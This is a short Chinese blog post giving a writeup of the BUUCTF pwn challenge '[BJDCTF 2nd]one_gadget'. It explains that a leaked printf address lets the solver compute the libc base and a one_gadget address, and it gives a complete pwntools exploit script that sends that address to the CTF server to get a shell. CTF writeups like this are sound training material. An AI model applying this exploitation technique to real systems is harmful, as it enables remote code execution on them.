刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

BUUCTF Pwn [BJDCTF 2nd]one_gadget Writeup

image.png

image.png

给了printf的地址和libc版本,可以计算libc基质,并计算one_gadget

image.png


一共四个 ,一个一个试,最后一个成功

from pwn import *
p=remote('node3.buuoj.cn',29812)
elf=ELF('./one_gadget')
context.log_level='debug'
libc = ELF('./libc-2.29.so')
p.recvuntil('0x')
printf_addr=int(p.recv(12),16)

libc_base=printf_addr-libc.symbols['printf']
one_gadget=0x106ef8
flag=libc_base+one_gadget

p.recvuntil('Give me your one gadget:')
p.sendline(str(flag))
p.interactive()


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.